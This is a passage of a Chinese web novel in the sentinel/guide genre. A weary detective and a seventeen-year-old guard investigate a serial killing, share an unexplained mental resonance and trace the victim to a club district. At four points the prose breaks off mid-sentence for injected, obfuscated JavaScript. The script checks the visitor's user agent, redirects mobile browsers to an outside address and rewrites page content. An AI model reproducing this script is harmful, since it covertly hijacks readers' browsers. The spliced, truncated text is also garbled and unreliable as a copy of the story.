警员委婉地说。尼尔森知道他只是不想揽下这种不一定就结果又麻烦的烂活而已。 “没关系。麻烦您了。教会我之后,我自己来就可以。”莱蒂斯说。 啊,这傻孩子。 “你也过来吧,这样我只用教一遍。”警员招呼了一下尼尔森,内心充满了这个人也要加班的同情,和自己逃脱的庆幸。 “啊,我?我就不了。”尼尔森摆摆手,一脸笑容,“我去帮你们接杯咖啡吧。先走一步。” 在莱蒂斯叫住他之前,他光速溜走了。 9. 第八章 深夜,莱蒂斯一个人在电脑前点着鼠标。 屏幕的光线映在她白净的脸上,像是一张怪诞的面具。人群在狭窄的方框里涌动,组成一重接一重的浪潮,而她必须在浪潮中找到一片海浪。 她伸手拿起旁边的咖啡杯,然后再次突然意识到它已经空了。她真的有些困了,连拿杯子都成了下意识地动作,但现在她不敢离开。 长时间高度集中的注意力让她的眼睛和大脑都疲惫不堪,监控部的旧办公椅就像有磁力一样把她吸在座位上。她知道自己如果中断,可能就再很难再像现在这么投入了。 但无所谓,如果她真的需要咖啡提神,她会自己去接的。咖啡也好,查监控也好,调查连环杀人案也好,她自己能行,她不需要尼尔森帮忙。 另一排办公桌上,尼尔森睡得天昏地暗。 他把几个电脑显示屏的插头拔了搬到一边,腾出来了两张空桌子,然后往上面一躺,在极度的疲惫中陷入了像昏死一样的高质量睡眠。 什么礼貌,什么体面,都阻止不了他睡觉。自从他到了圣卢赛特,每天就只有昏睡的时候才能清净一点。 连环杀人案而已,根本不值得他在这累得半死的时候继续强打精神,当然,莱蒂斯也不值得。 这个小姑娘显然还是没明白他到底是个什么样的人。当他拿着杯咖啡回来的时候,那个警员已经如他所料地跑路了,他把咖啡放在莱蒂斯手边,换来了少女一声道谢。 “加油啊,全靠你了。” 他笑着回应说,然后往旁边的椅子上一倒,开始玩手机。 社交媒体上全是连环杀人案的猜测,短视频平台上找头的视频满天飞,他机械地重复着滑屏幕的动作,却一个字都看不进去。 文字和画面在他金色的眼睛里滚动着,投射进他昏沉的大脑里,只变成了一片模糊的低吟。 很快,他就已经困得没办法分辨文字了。 尼尔森能感觉到自己快到极限了,再等一会他就差不多该昏过去了。 太好了,终于可以休息会儿了。 “尼尔森,尼尔森!”明净的,干脆的声音像一把刺剑穿透他耳膜。 “……”已经闭上眼睛的尼尔森睁开双眼,无精打采地问,“怎么了?别告诉我你这么快就找到线索了。” “没有。”莱蒂斯说,她暂停了监控视频,正一脸严肃地看着他,“我承认你们说得对,查监控其实并不简单。” 尼尔森抬了下眉毛:“很高兴你认同我的观点,但我觉得你没必要专门告诉我一声这个。” 说着,他把办公椅转向另一个方向,躲开莱蒂斯的视线,抬起手晃了晃:“没事的话我继续补觉了,晚安。” “不,有事。我想请你帮忙。”莱蒂斯的声音和电脑屏幕的光一起从椅背后辐射而来,“查三个地方监控的工作量太大了。你能不能去查查车站C的监控?我会负责车站A和地铁口两个地方。” “真对不起,”尼尔森实话实话,可怜兮兮,“可我已经困得看不清东西了。” “唔……那你先休息吧。明天早上再来查车站C的监控,可以吗?” “唉……我觉得我们有些误会。”尼尔森懒洋洋地说,隔着椅背,他的背影像是个不为所动的雕像,“我的任务只有保护你,这是一开始就说好了的,不是吗?” “你在地铁上时不是主动要和我分析案情吗?” “分析案情和查监控可不是同一个工作,小姑娘。我只是个普通人,做不来你们共感者的活,说不定一不小心就把目标漏了呢?” “我没觉醒视力,我的视力和你的没有区别。”莱蒂斯皱起眉,“我能做到的你也能做到,这不是你推辞的理由。你今天几乎什么都没有做,这样下去我们要靠什么找到凶手?” “我什么时候说过我要找凶手。” “你……有两个哨兵被碎尸了,凶手逍遥法外,半个圣卢赛特的人在找受害人失踪的尸首。你一点都不在乎吗?” 尼尔森差点被这话逗乐了,就好像有人在他面前念了篇幼稚的小学课文。他发出一声轻笑:“不啊。这跟我有什么关系,我为什么要在乎?而且那些找头的家伙只是在凑热闹,你真以为他们在乎死者?” “你这家伙……”莱蒂斯有点被激怒了,她在圣所长大,身边都是以保护为己任的年轻哨兵护卫,从没想过有人会如此麻木不仁却又为此沾沾自喜。 这个男人不止不在乎凶手,他根本不在乎和自己无关的任何事情。而他以此为傲,反而觉得追寻正义是可笑的事情。 她想指责的太多,一时竟然说不出什么。最终她只是压低了声音,失望地叹了口气:“他们是他们,但布列塔尼部长信任你,我还以为你至少……算了,你和你那浑浑噩噩的邻居根本就没有区别。” 尼尔森常常懒得理会针对自己的谴责。 这其中有一大半都是他罪有应得,他欣然接受,并且完全不打算改。但他昨天两点才回家,今早上六点半被罗德瑞克砸门砸醒,经过了长达三天只有浅眠的蹲点和今天一天奔波,他头昏脑胀,呼吸都难受。 而莱蒂斯在讨厌他,她此时的感情和她对他邻居如出一辙。嫌弃,排斥,还有微妙的悲哀。说真的她在悲哀个什么东西?她懂什么。她才是那个幼稚的,会被这个城市生吞活剥的家伙。 他感觉到了烦躁。 尼尔森转过椅子,对上莱蒂斯有些意外的双眼。 他问:“我说,你为什么非得查这个案子不可?” “这是我的任务。” “布列塔尼跟我说过,她告诉过你选择可以放弃。” “我不知道部长有没有告诉过你我的回答:我必须完成这个任务,否则就没人去追查真相了。” 尼尔森轻轻地弯起嘴角:“啊,原来你是为了真相。” 莱蒂斯表情冰冷:“这很好笑吗?” “不,我只是疑惑。真相,为什么要找到这个真相,为了那两个一看就是罪犯的未登记哨兵?” “他们的死因是什么值得人为之努力的东西吗?我那亲爱的邻居,即使没有人杀他,他也总有一天会自己栽倒在臭水沟里死掉。” “你根本就不是为了真相。” 莱蒂斯看着他,似乎觉得他不可理喻。尼尔森直视着莱蒂斯越来越冷峻的神情,却对她露出了笑容。 他说:“莱蒂斯,我来告诉你,你是为了什么要查这个案子。” “你是为了你自己。” 莱蒂斯的眼睛睁大了:“你说什——” “你想要证明你自己,我看得出来。”尼尔森不给她说话的机会,金色瞳孔如同混浊的琥珀,“你来到陌生的城市,你冒着丧命的危险,只是为了向其他人证明,你是一个强大的共感者。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356899|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你是个护卫,你能力有限,不被哨兵认可,也不被普通人接纳。这是一个机会,证明你价值,让自己受到尊重的机会。哨兵和护卫只服从强者,你做到了他们做不到的事情,他们就不会看不起你了。” “你难道不是这么想的吗,莱蒂斯?” “我……”少女墨绿色的瞳孔明暗不定,像是在狂风中挣扎的森林,“我没有——” 尼尔森笑容不变:“从来没有这么想过吗?你明知道你没经过刑侦训练,你明知道你能力有限,你明知道你根本不可能查出真相,为什么还要硬撑着呢?” “……”莱蒂斯咬住了下唇。她的视线移开了,她在自我怀疑,针对自己的负面情绪狂乱地在房间中上升。 尼尔森只是看着她:“所有人都是自私的,莱蒂斯。你也是。只不过你用冠冕堂皇的理由掩盖了这种自私而已。放弃吧,小护卫,别为了你的一己私心把我们俩都牵扯进危险里。” 这就是人们为什么会提防向导。 向导能感受情绪。 情绪感知和读心有很大的区别,但长年累月,向导们对人心的理解也比普通人更深,而没有什么,是比人心更好利用的了。 哪怕尼尔森现在只能被动感知别人的感情,他依然危险。 他之所以能说出这些话,是因为他知道莱蒂斯自卑。而他又恰好知道一些共感者之间的鄙视链,因此他猜得出这种自卑的来源,也猜得出她执意背负这一切的原因。 也许这种对认可的渴望只是她动机的很小一部分,但莱蒂斯正直又天真,会因为这点私心羞愧。 她会在他点出自己隐痛时动摇,也会因为他言语里的引导怀疑自己。通过这种方式,尼尔森能够轻易地击垮她。 他本想多敷衍两天再用这番话让莱蒂斯放弃调查,以方便向布列塔尼交差。但管他呢,他现在头疼得厉害,思维有点飘,后脑勺却沉重得不行。他需要休息,而莱蒂斯需要远离这个危险的案子,回到她平和的家乡继续做个单纯的小姑娘。 现在就让她放弃可没有坏处。 “我……也许是的,也许你说得对,我只是想证明自己。”莱蒂斯低着头小声说,她的低落像是一捧火的余烬。 尼尔森以为自己胜利了。 然而在那余烬中,灼热的高温仍然在蛰伏。 “可是如果仅仅是为了证明我自己,我绝对不会请求你的帮助。我不喜欢你,我不想依靠你。”莱蒂斯说着,抬起头来瞪着尼尔森,她在愤怒,然而却前所未有的坚定,这使得她的双眼有如同淬火的光芒,“但是卢娜小姐,她信任我,她愿意告诉我她还在乎她哥哥!我不能辜负她!” “我想找到真相,是因为卢娜小姐说过,她的哥哥是个好人,是因为你说过她很难过。为了已经死了的受害人,为了还爱着受害人的活着的人,我也不能放弃!” 重燃的火焰跃动着,莱蒂斯咄咄逼人地反问道:“那你呢?你既然对一切都毫不在乎,连真相都嗤之以鼻。你为什么还要做个侦探?” 尼尔森的太阳穴一跳一跳的疼。莱蒂斯比他想得更倔强,或者说,更善良,这在各种意义上都不是一件好事。但他没力气和她争了,她要是不放弃,那就最好让她知道,不要对他这种人抱有希望吧。 他于是保持着笑容,无所吊谓地耸耸肩,开玩笑似地答道: “为了睡个好觉。” 10. 第九章 这并不是在胡扯。 尼尔森.莱顿这个人,只有在极度疲倦,几乎失去意识到时候,才能睡得着。 这是他的报应,因为在来到圣卢赛特之前,他犯过点儿事。好吧,是很多事。这些事包括了盗窃抢劫诈骗等半数罪名,还包括刺杀。 刺杀这个词在一定程度上表明了他想弄死的人的身份,他还能在这个破烂城市里活着已经是一个奇迹。 但他也为此付出了代价,沉重的代价。他敢说自己从没后悔,但他从此不能主动使用向导的能力,不能放出精神动物,也不能安稳地入睡。 只要他闭上眼睛,他承受过的每一次折磨就会从记忆里翻出,像是扎根进他神经里的菟丝子那样活化。 极限的苦力,放任的疾病,殴打,电击和实验,他的躯体在幻痛中颤抖,冷汗淋漓。那生不如死的经历太过惨痛,以至于他的大脑永远在下意识抗拒休眠。 因为那时只要他失去意识,那么等待着他的就是永远醒不过来的风险。 而尼尔森是向导,对他来说,恐怖的不只有身体的惩罚,还有绝望的情绪。 绝望,让他无法真正逃出那座关押犯人的小岛的,是那如影随形的绝望。在地狱一样的环境里,他一直在努力抗拒其他人的绝望带给自己的影响,以防自己精神崩溃。 但一年后,当他的心中也生出相似的感情时,他的精神屏障再也无法屏蔽这种浓雾一样粘稠而冰冷的情感。 尼尔森撑下来了,没像一些不够强的向导那样崩溃成废人。但那无处可逃的感觉依然烙印在他大脑,他的灵魂中有一块永不愈合的腐肉。 睡前,闭上眼睛直视自己思维的那一刻,绝望便像死者脸上的面纱一样覆盖而来。然后他睁开眼睛,看着天花板直到太阳升起。 所以他和他邻居并不一样。 他不能像他邻居那样烂在房间里,他做不到。来圣卢赛特后,他折腾了半年,最终选择当个私家侦探。只因为这活足够辛苦,足够折腾,足够让他疲倦到大脑自动关机,在全然的空白里找到片刻宁静。 莱蒂斯不知道这些,她也没必要知道。 听到尼尔森的回答,她陷入了沉默,就像尼尔森想要的那样,她把这句话理解成了一个敷衍的玩笑。 寂静的房间里游荡着她的失望,还有和之前一样的,微弱的悲哀。最终她说:“我明白了。我会告诉布列塔尼部长,以后不需要再麻烦你跟着我了。” 她转过身,继续播放起监控录像。 看出莱蒂斯不会再打扰自己,尼尔森移走了几个电脑显示屏,往桌上一躺,开始睡觉。 疲惫很快如愿以偿地将他的意识卷入虚无,但头一次,昏睡来临时,他并不感觉非常爽快。 在黑暗中,尼尔森感觉到了风。 这风不算温柔,但很凉爽,带着植物的清香吹动他风衣的衣摆,又转眼去往远方。 尼尔森向它来的方向看去,一片辽阔的原野在他眼前展开。它与天空共赴向世界尽头,似乎是无穷的宽广。 薄纱一样的月光笼罩着摇曳的麦田,远方有断续的虫鸣。现在是夜晚,明亮的银河就在他头顶高悬。细小的星辰散落开来,都像洗过一样干净。 在田野的尽头,有一间小屋的影子。漫天星辰的光辉几乎掩盖了它的存在,但它里面亮着一抹橙红的,温暖的灯光,像是一颗小小的图钉,一个将这夜晚锚定在人间的定点。 一个归去的方向。 尼尔森在这样的风景中站了很久很久。 他感到平静。 他知道自己从没去过这样的乡下,所以这是梦。 他梦见了一片原野,还有一片星空。 他梦见了……等等,他梦见了什么? 尼尔森猛地睁开双眼。 监控部的天花板上,一块圆形的污渍和他面面相觑。 尼尔森惊愕地感知着依然沉淀在心中的平静和温暖,完全不可置信。 哪来的星空?他比谁都清楚自己的精神状态,一旦他的思维活跃到能够开始做梦,那他必然只能做噩梦,然后他必然会从噩梦中惊醒,心跳快得像是要冲出胸腔让自己大出血而亡。 他侧过头,想去摸自己的手机,但他没能做到。 因为他看见自己旁边有个电脑屏幕,而莱蒂斯就坐屏幕前。 并且,在他的手在下意识的用力后,他握住了另一只骨节较小的,温热的手。 尼尔森的惊愕瞬间转变为了惊恐。 这是个什么姿势?他质问自己的大脑,而他残酷的大脑告诉他:他横躺在桌上,莱蒂斯坐在他腰附近的电脑前面。他的手一直拉着她的手。 很好,虽然不知道为什么会这样,但布列塔尼一定会把他挫骨扬灰的。 等莱蒂斯迟顿地意识到手上的握力,转过头来看他时,尼尔森的大脑依然在宕机。 “你醒了。那边桌上有可颂和咖啡。昨天帮我们的警员送来的早餐。”莱蒂斯自然地陈述。 然后她自然地点头示意,自然地收回手,自然地继续看电脑屏幕,好像刚刚自己只是给他递了瓶水。 “……”尼尔森从桌子上翻起来,那种平静随着莱蒂斯松手而消失了,但他依然感觉到精神饱满。他掏出手机,现在是第二天十点半。 他整整睡了十二个小时,而他之前最高睡眠纪录是五个半小时。 他看了眼可颂面包,看了眼天花板,看了眼自己的手又看了眼莱蒂斯。现状太怪了,他思来想去,才用了一个较为委婉的说法来直面诡异的现实: “你怎么坐到这边来了?” “唔……”莱蒂斯沉吟了一下,似乎在分出一点注意力思考从何讲起,“你半夜睡着睡着,突然开始发出很痛苦的声音。” “我什么?”尼尔森独居已久,不知道自己还有这毛病。 “休伯特大叔——养我长大的人——晚上也经常会这样,我会在这个时候去把他叫醒。但我拍了几下你的脸之后,你就好了,所以我没喊醒你。” “我什么??”就像尼尔森不知道自己会梦呓一样,他也不知道这梦呓是挨两下打就能好的。 “你安静下来了。”莱蒂斯解释,“但我走开之后,你好像又很难受。我重复了几次,最后发现是肢体接触能让你冷静下来,就干脆过来了。” 尼尔森眯起了眼睛。 他一直吊儿郎当,这是他头一次表情这么严肃。 一个本不可能的名词出现在他脑海。 精神共鸣。 这种现象只发生在哨兵向导之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356900|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间。当哨兵和向导的精神高度契合时,他们只需要最平常的肢体接触就能获得内心的稳定。 这种彼此间的共鸣能够抹去一切痛苦和压抑,让人感到平静和安全。 但莱蒂斯是一个只觉醒了一种感官的护卫,她的精神不足以和向导共鸣。 至于尼尔森,他不知道自己现在这鬼状态还能不能实现精神共鸣。 为什么他们之间会出现这样的现象? 莱蒂斯在聚精会神地查监控,没有细想这件事的余力,但尼尔森有。 他知道这不对劲,不止不对劲,简直违背常识,历史和科学。要是共感者研究院的家伙知道了,能把他俩一起解剖个一百遍。 “喂,莱蒂斯,听我说——” 他皱起眉头,一把抓住莱蒂斯的手腕,想问清晚上的情况。 可莱蒂斯转过头瞪着他时,尼尔森的质问却卡在了喉咙里。 这小姑娘看起来糟透了。 他刚刚没有注意,现在仔细打量,才发现莱蒂斯根本就已经疲倦得不行了。她呼吸很浅,眼下是一片肿起的乌青,那双干净的墨绿色眼镜里布满血丝,恍惚的精神让她的眼神失去了尖锐的威胁,那种强撑的倔强却更加明显。 “干嘛?”她甩开尼尔森的手,戒备地看着他。没有一拳打在他脸上显然是因为她没余力在这种事情上浪费。 他们昨天才吵了架。 她并不喜欢他这种人。 但她还是硬撑着一个人查了接近十二个小时的监控,但还是她特地坐过来,让他的梦里久违地出现了一点好的东西。她想要放弃的悲观和对自我的苛责正在他的精神屏障上击打,她身心俱疲,但她不肯放弃。 她才十七。 唉……太傻了。 为了一件错综复杂,和自己无关的麻烦事把自己折腾成这样。 她还年轻,还是个单纯得有些犯傻的好人。她现在看起来和尼尔森失眠时一个样,而尼尔森这种人居然睡了个好觉。 尼尔森低下头,抓了把头发。梦里的安稳像一首歌的余音萦绕在他脑海。 算了。他对自己说,莱蒂斯还不知道他是向导,如果表现得太过在意这件事,可能会暴露自己。 于是,他做出了一个让自己追悔莫及的决定。 他话锋一转,说出了另一句话: “听我说,你不用查了。我想起来了,我知道瓦夫.埃蒙——我那邻居——离开公寓的具体时间。” “嗯?”莱蒂斯愣住了,她本来准备迎接一场争吵,下意识地问,“你怎么会知道?” “因为他的房间白天黑夜每时每刻都吵得要死,只要我在家的时候永远都有声音。他离开的时候是我家唯一清净的时候,我想忘也忘不掉啊!”尼尔森说。 “正好,四天前,我还没出发办案子的时候,我的房间就安静过这么一会儿!” 他跳下桌子,拉住莱蒂斯的椅背,把她从办公桌前拉开。 “唉,你帮了我,我也就帮帮你吧。本来不想真的掺和这事儿的……”他摇着头,一副无奈的样子,“等会,等一会我就告诉你。” “现在,你去睡觉,醒了之后我们再一起来查监控。你要是倒在找线索的半路上,布列塔尼非把我生吞活剥了不可。” 11. 第十章 莱蒂斯对此的评价是:“我不信。” 早在现代文明建立以前,就有寓言故事《狼来了》曾预言过这种窘境。但尼尔森只觉得那个牧童怪煞笔的。 他自认为不会陷入这样的困境,因为他要做的常常是用一个谎去圆另一个谎,而不是说真话。 现在他觉得自己开始懂那个煞笔牧童的痛了。 “我是说真的。”尼尔森无奈地把莱蒂斯的椅子转向自己,撑着椅子把手,和小姑娘面对面。 要用真话取得她的信任似乎比撒谎更难,尼尔森选择献祭上自己的人身安全打直球:“要是待会我说不出来瓦夫.埃蒙是什么时候离开的,我直接让你揍我行不行?” 莱蒂斯说:“可是我本来就打算揍你啊。” 尼尔森的表情僵了一下:“可以解释下为什么吗?” “哪怕你是真的知道,你也隐瞒线索耽误了调查进度,难道我不该揍你吗?”莱蒂斯歪了歪头。她是发自内心觉得尼尔森的问题很奇怪。 尼尔森想起之前被一脚踹飞到自己面前的男人,脊背绷直了一点:“我觉得这种情况,一句谢谢就足够了。你明明是个讲礼貌的人,怎么能这么对提供了线索的人呢?” “之后我会对你说谢谢的。”莱蒂斯认真的说,“有人帮了忙就要说谢谢,但有人做了坏事就要惩罚,这是休伯特大叔说的。” “……你的那个休伯特大叔,是个将军吗?” “不,他在维克镇的乡下种地。” “那这句话就不是你那个休伯特大叔说的。人家原话是功过分清,赏罚分明。”尼尔森扶额纠正她。从这句话里,他感觉自己明白了一切。 怪不得她性格这么一板一眼呢。 莱蒂斯说的,是休伯特.沃里克的名言。 这句话说的压根就不是为人处世,而是战争时期的纪律。 休伯特.沃里克,这位做到了“功过分清,赏罚分明”的哨兵将军以严明的军纪闻名,在奥西恩王国和邻国瑟玛共和国之间长达十年的战争中立下赫赫战功,以至于很多父母都给下一代取了这个名字。 现在的奥西恩,上至前运动冠军下至水管修理工,包括莱蒂斯那个在乡下种地的叔叔,放眼望去一群一群的休伯特。 会给孩子取这名字的家庭多少带点刻板的纪律崇拜,养出来的孩子也大多死板又一丝不苟。看来这种刻板又从莱蒂斯的叔叔传到了莱蒂斯身上。 不过这位休伯特虽然没能准确背下将军的名言,倒也的确养出来了个好孩子。 莱蒂斯如他所料地完全不退让:“休伯特大叔虽然在农场种地,但他的话未必不如将军的有道理。” 好吧,既然摸清了她性格的成因,那就按她的思路来吧。尼尔森举起手:“就算你有道理吧。那我能不能将功赎罪。下一次案件遇到瓶颈的时候,我一定把线索找出来,找不出来你再揍我也不迟。这样行吗?” “……”莱蒂斯思考了一小会儿。她是真的很累很累了,而且大海捞针在录像里寻找目标效率实在是太低,她担心时间耽误得太久,会出现下一个受害者。 她想试着相信尼尔森。 “好,我可以给你这个机会。”她谨慎地说,“但你要是趁我睡着了跑掉怎么办?” “我在你心中到底是什么形象……”尼尔森好像不知道自己之前表现得有多不靠谱一样叫屈,开玩笑道,“要不你把我铐起来吧。” 莱蒂斯说:“好啊。” 她拿出一副手铐,在尼尔森震惊的目光里,咔咔两下把尼尔森的左手腕和自己的右手腕拷在了一起。 中午十二点,交班的西南区警员进来查看监控室情况。 他看见熬夜查监控的护卫小姑娘正窝在椅子里睡觉,而之前摸鱼的男人正坐在她旁边玩手机。见他进来,男人抬起拿手机的那只手对他挥了挥。 他看见男人的另一只手和小姑娘的手拷在一起。 “我要交班了,来看一眼监控室……”警员小声解释,他早上来这里时已经见过了这两个人以奇妙的姿势手牵手的画面,“你们……这又是在干什么?” “哎呀,”尼尔森笑着低声回应,“她怕我会走。” 警员还是没明白这是在做什么,可能男人的意思是自己和小姑娘关系密切,但他不在乎。他疲惫地点点头:“那你们继续,我下班了。” 办公室的门咔嚓关上了。 安静的房间里,尼尔森短暂地把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356901|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 注意力从手机上分开,看着莱蒂斯熟睡的脸。 阳光刺穿窗帘的缝隙,落在她脸上时却轻柔而温暖,像是神明对一个正直的人降下的,慈爱的亲吻。 不过——尼尔森看了眼他们拷在一起的手,漫不经心地想着——莱蒂斯这样的人,将来一定会因为这种黑白分明的幼稚观念,在这个灰色的世界里变得遍体鳞伤。 瓦夫.埃蒙在四天前的下午两点离开了公寓。 两点十五分,他出现在了公交车站C站的监控录像里。他顶着和证件照上一模一样的红色短发,意外的穿着一套非常合身非常正式的西装,上了76路公交车。 76路公交车始发站在西南片区,因此车上的录像也正好在西南区警局的数据库里。录像里的瓦夫.埃蒙在“老伯爵街”车站下了车,身影消失在车门外。 下一次再被人发现时,他已经是四分五裂的尸块了。 现在是下午四点半。莱蒂斯在睡了六个小时之后醒来,根据尼尔森提供的时间点迅速找到了瓦夫.埃蒙的去向。 “老伯爵街在圣卢赛特的中心区,看来我们还得去中心区近一步查找监控。”莱蒂斯看着监控说,屏幕上是因为暂停而停在老伯爵站前的公交车。 “查监控?哪有这么轻松的事情啊。”尼尔森乐了。当他看见瓦夫.埃蒙去了老伯爵街时,他只感觉意料之外,情理之中。 “你知道老伯爵街是什么吗?”他问莱蒂斯。 莱蒂斯有种不好的预感:“是什么?” “你看,”尼尔森掰着手指跟她数,“圣卢赛特的经济中心是金融城,最繁华的商业中心是拉贝尔大道。至于老伯爵街嘛,那里是圣卢赛特的娱乐中心。” “所有娱乐方式,无论合法还是非法,只要在这个世界上存在,就一定也在老伯爵街存在。至于这些娱乐产业的背后是什么人在支持,那可就不好说了。” “也正是因此,老伯爵街也没有监控。莱蒂斯,和B21那种没人愿意管的破地方不一样,老伯爵街没有监控,是因为没有人敢管。” 尼尔森伸了个懒腰,对神色严肃的莱蒂斯露出个笑来: “所以接下来,监控已经没指望了。只能靠我们自己咯!” 12. 第十一章 老伯爵街之所以被冠以伯爵的名头,是因为它曾经是贵族阶层的最爱。这个区域密集分布着有百年历史的音乐厅和剧院,还有各种沙龙和会所。 “但瓦夫.埃蒙肯定不是为了音乐会才穿得那么正式的。”莱蒂斯说。 现在已经入夜。她和尼尔森走在这条人潮涌动的街道上,路过气派又古老的剧院,又走过有漂亮大广告牌的音乐剧场,各色的霓虹灯把她的黑发映出了一种五彩斑斓的黑。 她分析道:“瓦夫.埃蒙负担不起什么高雅的娱乐,当然也肯定对音乐会什么的不感兴趣。而且我们本来就已经假定他从事非法产业——他应该是在老伯爵街的某个提供非法娱乐的地方工作。” 他们走过一家赌场,招牌上的巨大轮盘正用灯光模拟着旋转。赌博在奥西恩国算是灰色地带,莱蒂斯趁路过的机会,仔细观察了门口保安的西装。 它和瓦夫.埃蒙的西装一看就不一样,这个人并不是他的同事。 护卫少女皱起眉喃喃:“我们只知道他穿的西装是什么样子的。但要是靠西装的款式来定位他工作的地方,效率也太低了。” “确实如此。”尼尔森插着兜,不紧不慢地往前走,“但你想想看,瓦夫.埃蒙的西装和刚刚那个赌场保安有什么不一样?” 有什么不一样?颜色,条纹?莱蒂斯的脑子里闪过几个名词,最终给出的答案却是: “质量,对吗?” 通过公交车上较为清晰的监控,可以看出瓦夫.埃蒙的西装裁剪得体,布料质量上乘。西装的款式都大差不差,让人最直观地感觉到不同的,其实是质量。 “对。你再想想看,他是什么人?” “……一个哨兵。”莱蒂斯回答,然后想起圣所里的课程,“哨兵们因为异于常人的五感,被普通人尊敬和畏惧——” 尼尔森接话:“所以他们社会地位通常都比较高。哪怕是瓦夫.埃蒙这样落魄的家伙,在帮派里也大有前途。” 莱蒂斯下意识地眯起眼睛:“但他来了老伯爵街……一个以娱乐为主的街区。也就是说,他的雇佣方一定非常富有,足以雇佣哨兵做员工,还能给他定制一套高档的西服。” “正确,”尼尔森说着,对她比了个手势,“往这边走。” 莱蒂斯点点头,跟着尼尔斯迈着脚步,思维却还在继续:“反过来,什么地方需要一个穿着正式的哨兵来服务?如果只有这样的雇员才能让客户满意,那么……我们是不是可以认为,瓦夫.埃蒙工作的地方,是为最挑剔,最富有的一批人提供非法娱乐的场所。” “嗯哼,也正确。”尼尔森很喜欢这种脑回路相互对接的感觉。莱蒂斯刚从乡村的圣所来到城市,对圣卢赛特的了解并不深入,却能准确推测出瓦夫.埃蒙这样的哨兵工作地点的特征,这让尼尔森不知为何也愉快起来。 “你虽然在道德上很死板,但脑子还算聪明嘛。”但他用了一种很欠揍的方式夸她。 “那是对比之下的结果。因为你毫无道德。”莱蒂斯毫不留情地评价,“你知道什么样的场所符合这样的要求吗?” “什么场所都有可能,高端的赌场,奢侈的酒吧,老伯爵街不缺这样的地方。但我觉得,他应该是在一家私人会所工作。” “私人会所,为什么?” “因为一家私人会所可以隐藏很多东西。说是私人,但这种会所说白了就是会员制的俱乐部。一家俱乐部里有什么?可能是赌场,可能是舞池,可能是妓所,什么都可能。但在外人眼里,它只是一个抽象的,奢华的俱乐部而已。” “富人们追求极致的娱乐,常常不在乎道德,却在乎自己的名声。而私人会所恰好能够很好地保护他们的隐私。”尼尔森脚步不停,就好像他一开始就确定了目标,“老伯爵街的俱乐部各种各样,有普通的,也有昂贵的,但——” 他又转了个弯。 “——它们几乎都聚集在这条街上。” 在二人眼前,是一条宽阔的街道。霓虹灯牌和招牌高低错落地分布在两侧,色彩怪异的光线四处流淌,将整条街染得光怪陆离。两侧的建筑里,有装修潮流的舞厅,也有低调奢华的大门。巨大的玻璃窗里溅射出摇曳的灯光和音乐,下一面墙上却是复古的雕花——这里是俱乐部大道,无论是寻找刺激的年轻人,还是衣着考究的有钱人,都走在同一条街道上。 莱蒂斯皱起了眉头,尼尔森发现她身上散发着戒备和抗拒。 他还以为是小护卫见不得这种道德败坏的场所,回头却看见莱蒂斯正闭着眼睛,屏住了呼吸。 在他们旁边,一个女人挽着男人走过,留下一阵浓郁的香水味。 “你真的要带我进玛利亚俱乐部?”女人娇嗔地说,“你好厉害啊。我还是第一次遇上愿意带我去玛利亚的男人呢!今晚一定要带我进去哦。” 男人轻笑:“要是我不带你去呢?” “那今晚人家就不跟你一起了!” “哈哈,真遗憾,今晚你逃不掉了。贵?以我的财力,直接把俱乐部买下来都没问题!” 他们带着甜腻的气味,进行着油腻的对话,然后转身拐进一扇灯光闪烁的门里。 难怪,尼尔森想。 这条街道的味道比之前更复杂,人们的香水争奇斗艳的浓,店里的味道也千奇百怪,干什么的都有。莱蒂斯是护卫,觉醒的嗅觉让她能清晰地闻到那些从门窗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356902|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中渗出的酒味,烟味,药的怪味。这对她来说无疑是种冲击。 “好了,线索指向的地方就是这条街。下一步就是挨个找了。不过,有几家我可以提前帮你排除掉。”尼尔森说,一边等着莱蒂斯恢复,一边瞎侃,“实不相瞒,因为私家侦探这个职业,我来这儿好多次。这条街简直是出轨和捉奸的圣地。” 